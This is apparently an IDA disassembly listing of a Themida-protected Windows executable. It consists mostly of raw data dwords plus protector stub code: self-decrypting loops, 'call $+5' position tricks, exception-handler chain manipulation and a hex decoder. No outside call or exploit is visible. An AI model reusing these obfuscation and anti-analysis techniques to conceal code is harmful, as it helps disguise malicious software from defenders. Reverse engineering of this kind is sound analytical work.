		dd 0FC000000h, 27D7Fh, 5 dup(0)
		dd 4000000h, 17FFE03h, 5 dup(0)
		dd 94000000h, 84808h, 6	dup(0)
		dd 5403h, 0Ah dup(0)
		dd 6F000000h, 0AA282AA3h, 565Bh, 3 dup(0)
		dd 23000000h, 0FF6396h,	0DF000000h, 0A9C530h, 0
		dd 0DF000000h, 575DF9h,	4 dup(0)
		dd 5000000h, 0
		dd 0C5000000h, 5556h, 4	dup(0)
		dd 0D8000000h, 77E805h,	32h dup(0)
		dd 2B000000h, 7C000069h, 63000000h, 0FB7FD0h, 5	dup(0)
		dd 9C000000h, 29000000h, 0EF7FEAh, 2 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 70000000h, 2269C0h, 0
		dd 0DD000000h, 14009C79h, 0F977E836h, 0BA378675h, 0FF5DFFh
		dd 0
		dd 0A3000000h, 57A0h, 0Dh dup(0)
		dd 1000000h, 0
		dd 0AA000000h, 40054B1h, 7 dup(0)
		dd 49000000h, 2E8ACCh, 0DF000000h, 0A9C530h, 0E9000000h
		dd 0F500020Eh, 4540E15h, 7FFE03h, 5 dup(0)
		dd 64000000h, 6877E821h, 9BB1h,	0
		dd 0D6000000h, 44A733h,	0
		dd 0F9000000h, 5671h, 5	dup(0)
		dd 2A000000h, 810000C8h, 84726012h, 55D9h, 8 dup(0)
		dd 68000000h, 9D15h, 9A000000h,	5390h, 3 dup(0)
		dd 40000000h, 76B41Bh, 8 dup(0)
		dd 0DE000000h, 9C2Bh, 6	dup(0)
		dd 0CE000000h, 0A47FFE03h, 8B000000h, 5463h, 0
		dd 68000000h, 9D15h, 0FF00AA00h, 27D7Fh, 5 dup(0)
		dd 0FC000000h, 8001FCh,	5 dup(0)
		dd 2000000h, 75000000h,	86985h,	5 dup(0)
		dd 5B004000h, 5304h, 20h, 0
		dd 7B000000h, 7E761Fh, 0
		dd 95000000h, 6E00A099h, 24DDACh, 5 dup(0)
		dd 0C3000000h, 5403h, 66000000h, 5450h,	0
		dd 1000000h, 0Ch dup(0)
		dd 0F0000000h, 77DD59h,	0
		dd 0C8000000h, 0B368BAh, 0
		dd 0F1000000h, 0F8000054h, 4216CF8h, 7FFE03h, 9	dup(0)
		dd 68000000h, 4009D32h,	7FFE03h, 0F9000000h, 5671h, 9 dup(0)
		dd 98000000h, 4	dup(0)
		dd 53000000h, 400A08Dh,	0B47FFE03h, 0
		dd 0B0000000h, 32009C6Ch, 67004FB0h, 5635h, 6 dup(0)
		dd 0B8000000h, 2DD878h,	2 dup(0)
		dd 4D000000h, 341971h, 0
		dd 90000000h, 6	dup(0)
		dd 3F000000h, 5E77E7A1h, 77E7ACh, 2 dup(0)
		dd 0C000000h, 2FF0B1Fh,	0
		dd 4000000h, 7FFE03h, 39000000h, 328145h, 92000000h, 6Ah
		dd 1000000h, 0CA000000h, 0AAB1h, 0E9000000h, 20Eh, 23000000h
		dd 0FF6396h, 2 dup(0)
		dd 0AB000000h, 54F3h, 0
		dd 60000000h, 200h, 0
		dd 4000000h, 7FFE03h, 0
		dd 0E9005403h, 528Eh, 3	dup(0)
		dd 0CE000000h, 52ADh, 2	dup(0)
		dd 40000000h, 810ED2h, 3 dup(0)
		dd 0E8000000h, 9D23h, 4000000h,	3, 7 dup(0)
		dd 0C4000000h, 9C70h, 14000000h, 8F0h, 8 dup(0)
		dd 1D000000h, 55A4h, 0E6000000h, 9B0Fh,	3 dup(0)
		dd 54000000h, 12FFh, 16h dup(0)
		dd 50000000h, 22DEE0h, 91000000h, 6Ah, 6 dup(0)
		dd 23000000h, 6	dup(0)
		dd 0D000000h, 43E7B360h, 5F6D5C3Ah, 61706E75h, 72656B63h
		dd 80h dup(0)
		dd 91000000h, 6Ah, 0
		dd 4000000h, 7FFE03h, 41000000h, 52B0h,	2Eh dup(0)
		dd 16000000h, 9E73h, 8 dup(0)
		dd 0B3000000h, 57B2h, 9	dup(0)
		dd 4E000000h, 0F50054F3h, 3017FCh, 0E9000000h, 20Eh, 0
		dd 0A6000000h, 0DD00579Eh, 5B009C69h, 0DD009C91h, 6BCA69h
		dd 3 dup(0)
		dd 1A000000h, 6005223h,	0E077E6D7h, 0F00532Eh, 2977F52Eh
		dd 4FFA9A9h, 0F7000003h, 0A2009C09h, 0FFA7F1h, 0E877D400h
		dd 77E82Fh, 3 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 1000000h, 5000000h, 0
		dd 77E600h, 4 dup(0)
		dd 0A0000000h, 2 dup(0)
		dd 0FD000000h, 0CC005672h, 77DD5Eh, 0
		dd 0AA000000h, 63h, 4 dup(0)
		dd 0FF000000h, 2417A189h, 0FFh,	5 dup(0)
		dd 95000000h, 4DF2798Ch, 5636h,	3 dup(0)
		dd 16000000h, 0ECBC99h,	0FE000000h, 0FE00ACA1h,	18FFFFFFh
		dd 1CD857E0h, 563Bh, 0
		dd 73000000h, 4F80h, 0
		dd 54000000h, 12FFh, 2 dup(0)
		dd 39000000h, 538911h, 0
		dd 8F000000h, 5339h, 28h dup(0)
		dd 4000000h, 7C7FFE03h,	53DDh, 2 dup(0)
		dd 0DF000000h, 0A9C530h, 39000000h, 6F5Ch, 2 dup(0)
		dd 3F000000h, 0C4A8BFh,	7 dup(0)
		dd 0E9000000h, 20Eh, 0
		dd 0A5000000h, 0B300542Bh, 0FE77F7EBh, 6363B1h,	6 dup(0)
		dd 3AAh, 2 dup(0)
		dd 21000000h, 5C8CA5h, 4 dup(0)
		dd 94000000h, 0FFFF95h,	0
		dd 5E000013h, 55A3h, 0
		dd 0FF000000h, 0FFFFFFh, 3 dup(0)
		dd 1000000h, 0B8000000h, 172953h, 0
		dd 4000h, 0
		dd 91000000h, 6Ah, 3 dup(0)
		dd 54000000h, 894106h, 2 dup(0)
		dd 75CEFC88h, 52FFA9F6h, 61747365h, 70417472h, 78652E70h
		dd 63000065h, 4C97AEh, 3 dup(0)
		dd 62000000h, 7DB7BA62h, 0BCh, 0Ah dup(0)
		dd 0DF000000h, 68A9C530h, 77E83Eh, 3 dup(0)
		dd 0C0000000h, 0C0ADDB59h, 95000000h, 10h, 2 dup(0)
		dd 0F0000000h, 1446h, 4	dup(0)
		dd 0FF000000h, 57FFh, 90000000h, 0Eh dup(0)
		dd 477DD00h, 7FFE03h, 6D000000h, 0B5F6DEh, 4 dup(0)
		dd 0A000000h, 9C8Ch, 0
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 23D00h, 0
		dd 0E8000000h, 0B877E82Fh, 2456Ch, 2 dup(0)
		dd 1000000h, 4 dup(0)
		dd 4000000h, 7FFE03h, 80000000h, 7300000Eh, 0D7004F80h
		dd 2456Bh, 2 dup(0)
		dd 0F9000000h, 5671h, 3	dup(0)
		dd 88000000h, 82FFF2D5h, 0AF77E78Bh, 152h, 0
		dd 63000000h, 0FFAC3Fh,	0FC000000h, 8001FCh, 5 dup(0)
		dd 0C5000000h, 18Bh, 0
		dd 0AC000000h, 6 dup(0)
		dd 25700h, 0
		dd 0DD000000h, 9C69h, 0
		dd 65000000h, 5285h, 60025600h,	200h, 0FB000000h, 0AAA358h
		dd 2F000000h, 16371D9h,	0DBCA86h, 3 dup(0)
		dd 0B8000000h, 2456Ch, 4 dup(0)
		dd 63000000h, 77E779h, 4 dup(0)
		dd 71000000h, 0FFABE7h,	0
		dd 0DB000000h, 0BF005572h, 0FF4F77h, 0
		dd 0D9000000h, 5BD3BDh,	2 dup(0)
		dd 54000000h, 0FFh, 2 dup(0)
		dd 13000000h, 2C691Fh, 5 dup(0)
		dd 0E8000000h, 52ADh, 6	dup(0)
		dd 0FC0008C0h, 8001FCh,	9C000000h, 3AD18Fh, 4 dup(0)
		dd 25800h, 710846h, 0
		dd 8F000000h, 5339h, 0F0000000h, 12FEh,	3 dup(0)
		dd 33000000h, 47864Ah, 10h dup(0)
		dd 0CF000000h, 3E11B9h,	4 dup(0)
		dd 0FC000000h, 8001FCh,	7 dup(0)
		dd 82000000h, 0FF77E78Bh, 0AB4F77h, 0F000000h, 9CA0h, 91000000h
		dd 6Ah,	4 dup(0)
		dd 0D2000000h, 5, 0
		dd 1000000h, 31000000h,	53CFh, 3 dup(0)
		dd 34000000h, 4009EB1h,	7FFE03h, 0
		dd 0D8000000h, 56B9h, 0
		dd 4000000h, 7FFE03h, 74000000h, 0F000000h, 9CA0h, 0
		dd 0E9000000h, 20Eh, 8 dup(0)
		dd 0FB000000h, 5BDFBDh,	8 dup(0)
		dd 13001850h, 0AAC900h,	9 dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 94000000h, 0FFFFFFh,	2 dup(0)
		dd 63000000h, 0FB7FD0h,	80h dup(0)
		dd 83000000h, 7DBA8Bh, 0
		dd 0DD000000h, 9C69h, 23h dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 39000000h, 3	dup(0)
		dd 1000000h, 4 dup(0)
		dd 2B000000h, 0B0C3A5h,	3 dup(0)
		dd 5E000000h, 580Eh, 2 dup(0)
		dd 3F000000h, 1F626EF3h, 521Bh,	0Fh dup(0)
		dd 0D9000000h, 0FFFFBDh, 5E000000h, 0FF005319h,	0C4834Bh
		dd 86000000h, 0E977E7C4h, 20Eh,	0
		dd 94000000h, 0F2798Ch,	0A000000h, 9C8Ch, 0Eh, 0Bh dup(0)
		dd 91000000h, 6Ah, 0B0000000h, 0BFE86Eh, 5 dup(0)
		dd 9D000000h, 4FFFFC5h,	7FFE03h, 0
		dd 0A3000000h, 0FFACE4h, 8 dup(0)
		dd 0E6000000h, 0D3247h,	0
		dd 0DE000000h, 8D2866EBh, 0B0F75F8Dh, 33340F30h, 2 dup(33333333h)
		dd 333333h, 4 dup(0)
		dd 20000000h, 217B39h, 3 dup(0)
		dd 3E000000h, 57A1h, 0
		dd 6F000000h, 5463h, 0B7000000h, 1, 8C000000h, 53EDh, 6	dup(0)
		dd 94000000h, 4FB8h, 7 dup(0)
		dd 32000000h, 4FB0h, 2 dup(0)
		dd 2E000000h, 77E75Ch, 3 dup(0)
		dd 0B300h, 4 dup(0)
		dd 4000000h, 67DCA9h, 2	dup(0)
		dd 63000000h, 77E779h, 2 dup(0)
		dd 2000000h, 7 dup(0)
		dd 3000000h, 0A16E0h, 4	dup(0)
		dd 4010h, 6 dup(0)
		dd 4000h, 3 dup(0)
		dd 23000000h, 4F00h, 35000000h,	56CAh, 2 dup(0)
		dd 60000000h, 12FFh, 0CC000000h, 0F00547Eh, 732182F3h
		dd 4F80h, 8000000h, 9F747h, 0Ch	dup(0)
		dd 0EB000000h, 61B7Fh, 6 dup(0)
		dd 16000000h, 5306h, 0
		dd 24000000h, 0FFh, 4 dup(0)
		dd 0DD000000h, 9C69h, 7	dup(0)
		dd 1000000h, 600h, 63h dup(0)
		dd 1000000h, 0
		dd 3B000000h, 5537h, 93000000h,	9C93h, 2 dup(0)
		dd 0E9000000h, 77EBA6h,	0EB000000h, 5442h, 3 dup(0)
		dd 44000000h, 563Dh, 4 dup(0)
		dd 0A8000000h, 1A000000h, 0F2CDB8h, 0B5000000h,	0AF949Ch
		dd 4 dup(0)
		dd 54000000h, 696D6568h, 6164h,	1Dh dup(0)
		dd 50000000h, 1503Bh, 6A000000h, 77D4C9h, 0
		dd 0D4000000h, 0FFAD85h, 44000000h, 77E7A1h, 34000000h
		dd 9C92h, 3 dup(0)
		dd 2B000000h, 69h, 5 dup(0)
		dd 60000000h, 0E0EDCAh,	2 dup(0)
		dd 45000000h, 9C31h, 7 dup(0)
		dd 0EA000000h, 1A134366h, 0F2CDB8h, 3 dup(0)
		dd 72000000h, 53D8h, 0
		dd 4000000h, 7FFE03h, 0D1000000h, 7, 4 dup(0)
		dd 0A4000000h, 12FFh, 4	dup(0)
		dd 6000000h, 5 dup(0)
		dd 68000000h, 54A741h, 0C3000000h, 6, 8	dup(0)
		dd 4000000h, 7FFE03h, 9000000h,	6F005660h, 8D00531Bh, 0FFB07Fh
		dd 3 dup(0)
		dd 0F0000000h, 34Ah, 8 dup(0)
dword_4FA1E4	dd 1B000000h, 5223h, 0	; DATA XREF: Themida_:004FF804o
		dd 0BC000000h, 73h, 5000000h, 0CDh, 0Ch	dup(0)
		dd 37000000h, 9CA0h, 4 dup(0)
		dd 5B000000h, 0A3000003h, 0ADD3E3h, 8 dup(0)
		dd 0B5000000h, 77E75Ch,	2 dup(0)
		dd 63000000h, 93FFAC3Fh, 7Ch, 2C000000h, 527Ah,	14h dup(0)
		dd 0D2000000h, 3Bh, 3 dup(0)
		dd 84000000h, 99F97BF7h, 77E7A0h, 3 dup(0)
		dd 6C000000h, 24FFFF8Fh, 242424h, 0
		dd 23000000h, 0FF6396h,	0
		dd 0D1000000h, 73h, 4 dup(0)
		dd 51000000h, 530AF6h, 2 dup(0)
		dd 4000000h, 0Eh, 8 dup(0)
		dd 0C9000000h, 4FB4h, 2	dup(0)
		dd 8000000h, 5434h, 0
		dd 4000000h, 3,	0C7000000h, 24Ah, 0
		dd 4000000h, 7FFE03h, 4	dup(0)
		dd 0B8000000h, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF009Ch, 424448Bh
		dd 0E0FFh, 12h dup(0)
		dd 58000000h, 0FFFF97h,	11h dup(0)
		dd 63000000h, 4C97AEh, 0Ah dup(0)
		dd 4000000h, 7FFE03h, 12h dup(0)
		dd 68000000h, 77E821h, 2 dup(0)
		dd 73000000h, 4F80h, 0
		dd 0B6000000h, 236FF1h,	91000000h, 6Ah,	90000000h, 12FFh
		dd 99000000h, 9C94h, 0Ch dup(0)
		dd 9E000000h, 0C1F0CAh,	0
		dd 0C6000000h, 80675Eh,	0
		dd 0D7000000h, 77DD23h,	3 dup(0)
		dd 0E0000000h, 56A6h, 4000000h,	7FFE03h, 0Dh dup(0)
		dd 1000000h, 0CA3B7CB4h, 32B96668h, 4FB0h, 3 dup(0)
		dd 4000000h, 7FFE03h, 63000000h, 177E779h, 3B7CB4h, 2 dup(0)
		dd 73000000h, 8052BBh, 0A3000000h, 92CDA680h, 9C22h, 5403h
		dd 0
		dd 7000000h, 801190h, 6F000000h, 282AA3h, 6 dup(0)
		dd 5E000000h, 3A77E7ACh, 56FFACFAh, 9CFAh, 1000000h, 34000000h
		dd 0F8009EB1h, 12FEh, 4000000h,	80000000h, 0CF72h, 7 dup(0)
		dd 4000000h, 7FFE03h, 9B00h, 5 dup(0)
		dd 21000000h, 212121h, 54000000h, 577F512h, 40000D2h, 57FFE03h
		dd 0A2801h, 0Ah	dup(0)
		dd 5E000000h, 4977E7ACh, 7EFC08h, 0
		dd 9D000000h, 800053C0h, 0
		dd 59000000h, 7C19D0h, 0E9000000h, 20Eh, 0
		dd 2D000000h, 52F0h, 7 dup(0)
		dd 5D000000h, 32597Fh, 0
		dd 0BA000000h, 0FF5DFFh, 0Ah dup(0)
		dd 0E8000000h, 10h, 2 dup(0)
		dd 0FC000000h, 8001FCh,	0D9000000h, 0B07A9B29h,	1DCFFh
		dd 0
		dd 88000000h, 0D9000000h, 40B3h, 0
		dd 5D000000h, 531Bh, 4 dup(0)
		dd 59000000h, 197C19D0h, 0
		dd 0C7000000h, 0EFF8h, 0AEh dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4FAAC7:				; CODE XREF: start:loc_4F750Ej
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60735C3h
		mov	[ebp+6070899h],	edx
		mov	[ebp+60701C9h],	esi
		mov	[ebp+6070871h],	eax
		cmp	dword ptr [ebp+6070DB5h], 0
		jz	short loc_4FAAFF
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4FAAFF:				; CODE XREF: start+6BADDj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6071AEDh],	eax
		push	45h
		call	sub_4FABB3
		push	783749Ah
		call	sub_4FABF9
		push	0A894B25h
		call	sub_4FABF9
		jmp	loc_4FAD3D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FABB3	proc near		; CODE XREF: start+6BAF7p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 60736B1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_4FABCF:				; CODE XREF: sub_4FABB3+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_4FABEE
		mov	eax, [ebp+arg_0]
		mov	[ebx+607361Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_4FABCF
; ---------------------------------------------------------------------------


loc_4FABEE:				; CODE XREF: sub_4FABB3+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_4FABB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FABF9	proc near		; CODE XREF: start+6BB01p start+6BB0Bp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60736FAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_4FAC1F:				; CODE XREF: sub_4FABF9+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_4FAC1F
		mov	[ebp+var_84], 0
		lea	edi, [edx+607361Bh]
		lea	esi, [ebp+var_80]


loc_4FAC4F:				; CODE XREF: sub_4FABF9+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_4FAC5B:				; CODE XREF: sub_4FABF9+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_4FAC5B
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_4FAC4F
		popa
		leave
		retn	4
sub_4FABF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4FAC99
; ---------------------------------------------------------------------------


loc_4FAC95:				; CODE XREF: Themida_:004FAC9Cj
		inc	dword ptr [ebp-4]
		inc	esi


loc_4FAC99:				; CODE XREF: Themida_:004FAC93j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FAC95
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_4FAD2A
; ---------------------------------------------------------------------------


loc_4FACAB:				; CODE XREF: Themida_:004FAD2Dj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4FAD21
; ---------------------------------------------------------------------------


loc_4FACB4:				; CODE XREF: Themida_:004FAD25j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_4FAD0E
; ---------------------------------------------------------------------------


loc_4FACC4:				; CODE XREF: Themida_:004FAD12j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_4FACE6
		cmp	bl, 39h
		ja	short loc_4FACE6
		sub	bl, 30h
		jmp	short loc_4FAD08
; ---------------------------------------------------------------------------


loc_4FACE6:				; CODE XREF: Themida_:004FACDAj
					; Themida_:004FACDFj
		cmp	bl, 61h
		jb	short loc_4FACF8
		cmp	bl, 66h
		ja	short loc_4FACF8
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_4FAD08
; ---------------------------------------------------------------------------


loc_4FACF8:				; CODE XREF: Themida_:004FACE9j
					; Themida_:004FACEEj
		cmp	bl, 41h
		jb	short loc_4FAD08
		cmp	bl, 46h
		ja	short loc_4FAD08
		sub	bl, 41h
		add	bl, 0Ah


loc_4FAD08:				; CODE XREF: Themida_:004FACE4j
					; Themida_:004FACF6j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_4FAD0E:				; CODE XREF: Themida_:004FACC2j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_4FACC4
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_4FAD1E
		mov	eax, [ebp-10h]
		stosb


loc_4FAD1E:				; CODE XREF: Themida_:004FAD18j
		inc	dword ptr [ebp-8]


loc_4FAD21:				; CODE XREF: Themida_:004FACB2j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_4FACB4
		add	edx, 4


loc_4FAD2A:				; CODE XREF: Themida_:004FACA9j
		cmp	edx, [ebp-4]
		jb	loc_4FACAB
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4FAD3D:				; CODE XREF: start+6BB10j
		mov	ecx, 7000h
		lea	edi, [ebp+6073840h]


loc_4FAD48:				; CODE XREF: start+6BD38j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_4FAD48
		mov	eax, 48692121h
		mov	edx, 0F008F000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+607392Dh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jnp	loc_4FAD84
		mov	ebx, 6E9C553Fh


loc_4FAD84:				; CODE XREF: start+6BD65j
		push	0
		push	ebp
		call	sub_4FAD8F
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_4FAD8F	proc near		; CODE XREF: start+6BD73p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_4FAD8F	endp

; ---------------------------------------------------------------------------
		db 1Dh
		dd 0C22BD813h, 25DABF0Fh, 0FFFFF000h, 0CA8B5B52h, 8166FF33h
		dd 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h
		dd 1000h, 64E3EB47h, 58Fh, 0C4830000h, 40958D04h, 52060739h
		dd 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh, 4708B00h
		dd 0E681h, 0FE81FFFFh, 80000000h, 708B0376h, 83C0331Ch
		dd 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh, 0EBEB4000h
		dd 33C7E8Bh, 503F81FEh,	74000045h, 64E8EB44h, 58Fh, 0C4830000h
		dd 51C36104h, 10244C8Bh, 0B0A981h, 10000000h, 33590000h
		dd 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 607394Bh, 3909858Dh
		dd 81890607h, 0B8h, 0C033595Dh,	8F6496C3h, 5, 4C48300h
		dd 8BBB6650h, 8B665B53h, 0D98C66DFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0EEC35040h,	82A80738h, 0D56AEABBh
		dd 4E18048h, 0C90AD98Bh, 17850Fh, 85C70000h, 607218Dh
		dd 1, 7B9A26BBh, 22E911h, 0DF800000h, 8D85C7B7h, 60721h
		dd 0E9000000h, 10h, 99DD5ABEh, 0D7F63480h, 40094577h, 71AB77DDh
		dd 1B2D8589h, 85890607h, 60731ADh, 11E8h, 6CCEBB00h, 0DDCCE273h
		dd 48E7A7ABh, 56BB54DFh, 86BA11E2h, 594B9CB4h, 0B8D0Fh
		dd 890F0000h, 5, 0AADF8166h, 27C18100h,	0F00005Eh, 58Dh
		dd 8E2EBB00h, 0F62B198Dh, 6E9h,	0FE2F2E00h, 0FFEDEFCDh
		dd 0F6800E34h, 0E9605858h, 10h,	7E6F5F67h, 156C83Fh, 78D1AF30h
		dd 66A88B6Bh, 12E9h, 3EC9B100h,	0D75FDF79h, 76664D96h
		dd 0A279CB13h, 615E9923h, 4930C081h, 0BB6644E5h, 0E881CA78h
		dd 4C181DD4h, 53BF5256h, 5A1B84A9h, 64C0815Ah, 8B2C6251h
		dd 0CE950D6h, 7D000000h, 0FBECEC6Fh, 0C4AF7D97h, 8F80E25Fh
		dd 11BF3104h, 60261BE9h, 0AE853h, 3F2F0000h, 0AF024773h
		dd 939CB53h, 0D1815E58h, 2972C22Bh, 0D8EE8161h,	53711B1Eh
		dd 726EC281h, 815F41F1h, 1B1ED4C6h, 81D18A71h, 0FFA2F4FEh
		dd 16850FFFh, 0BF000000h, 43B806F4h, 23E9h, 26FEE600h
		dd 8F78355Ah, 0C4045145h, 4AE38192h, 0E9417271h, 0FFFFFF33h
		dd 0CF65A665h, 5860B981h, 0D966A6C4h, 21504EBh,	0B6E90000h
		dd 60000006h, 0BF0FA5B6h, 896061F1h, 72DDDB5h, 0E9C02B06h
		dd 13h,	4467CA45h, 3062EC25h, 8F4756C6h, 842C013Ah, 8B23B063h
		dd 0F9282454h, 2D3D8589h, 8D0F0607h, 8,	2830Fh,	61600000h
		dd 3CBEh, 0DBD3100h, 3060712h, 0F8242474h, 11E9AD66h, 98000000h
		dd 471AB9EBh, 186A7943h, 0BEC81737h, 562E4639h,	24244403h
		dd 3C08060h, 31119D8Bh,	90610607h, 108B0Fh, 0BE90000h
		dd 1E000000h, 15C5912Dh, 49B4C8ADh, 0F50E0AAh, 138Dh, 0EE900h
		dd 13810000h, 9CDC85Ch,	4DD2758h, 5F8B90C0h, 0C19D8990h
		dd 8B06071Ah, 95297840h, 6070235h, 28244403h, 10419531h
		dd 408B0607h, 858B6018h, 6072CD1h, 8A0F57h, 5B000000h
		dd 10E94061h, 47000000h, 9E56DFFAh, 2F527473h, 926EA2B2h
		dd 89E20198h, 73B1485h,	7E906h,	7270000h, 5DC38C61h, 9D295877h
		dd 6071041h, 0F78708Bh,	18Fh, 0C683F900h, 0F1BD891Ch, 3060727h
		dd 60242474h, 56D3BF0Fh, 9504B866h, 0BD8D6159h,	6071335h
		dd 0FF9ADFCh, 185h, 4403F900h, 880F2424h, 0Ch, 68F0Fh
		dd 0BD290000h, 60701CDh, 3EB960ABh, 89659D95h, 70BDD8Dh
		dd 0BD8D6106h, 6071651h, 14800Fh, 0FE90000h, 5000000h
		dd 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah, 0E9AD54AAh, 9, 0F099AD4Ch
		dd 19B938E0h, 244403AAh, 0CE924h, 322C0000h, 0CC7AEBC3h
		dd 0F2358D5h, 0F900A09h, 0E85h,	0F525000h, 8Bh,	60310F00h
		dd 50585A61h, 68F0Fh, 8B600000h, 616160D0h, 0CDB58990h
		dd 0AB060712h, 31798D89h, 85890607h, 6071B05h, 14DDBD8Dh
		dd 0ADF90607h, 1BB1BD29h, 44030607h, 0BD012824h, 6072BE9h
		dd 89F28B60h, 706C195h,	89AB6106h, 73009B5h, 8A605E06h
		dd 0D9B70FF5h, 148DFF61h, 8306073Bh, 73B14BDh, 10750006h
		dd 1C2444C7h, 0
		dd 3F81B58Dh, 0E6FF0607h, 4403AD56h, 8B972824h,	5858ADFh
		dd 8406072Ch, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 72D3D85h, 0FF6FE906h
		dd 15EFFFFh, 70A958Dh, 0D9858906h, 8B060704h, 72D3D85h
		dd 6E906h, 38D70000h, 71A32C26h, 9E9E0D1h, 9000000h, 0E3C21471h
		dd 0F5D5C3C4h, 0CA816660h, 0E853D579h, 10h, 922FB26Ah
		dd 7240B8EFh, 0C9753296h, 5F1B3DDAh, 3615F5Fh, 714DD85h
		dd 1DB58906h, 0BE060712h, 0
		dd 8E996F5h, 0BE000000h, 0A78A82A2h, 66C3322Ch,	5E9ADh
		dd 8DE80000h, 0C17CDE90h, 0BD8902E0h, 6070479h,	13358503h
		dd 5E90607h, 66000000h,	7E98C993h, 0B5950196h, 0AD060703h
		dd 10E860h, 81EA0000h, 4170028Eh, 753B4833h, 0F089C358h
		dd 0BD89CF70h, 6070959h, 0FE95Fh, 0E2640000h, 0CC1A087h
		dd 8103B691h, 0E0FFA065h, 4C8B6171h, 0F5FC2424h, 24244403h
		dd 42D9D89h, 44890607h,	0CE91C24h, 0CF000000h, 4BBC5773h
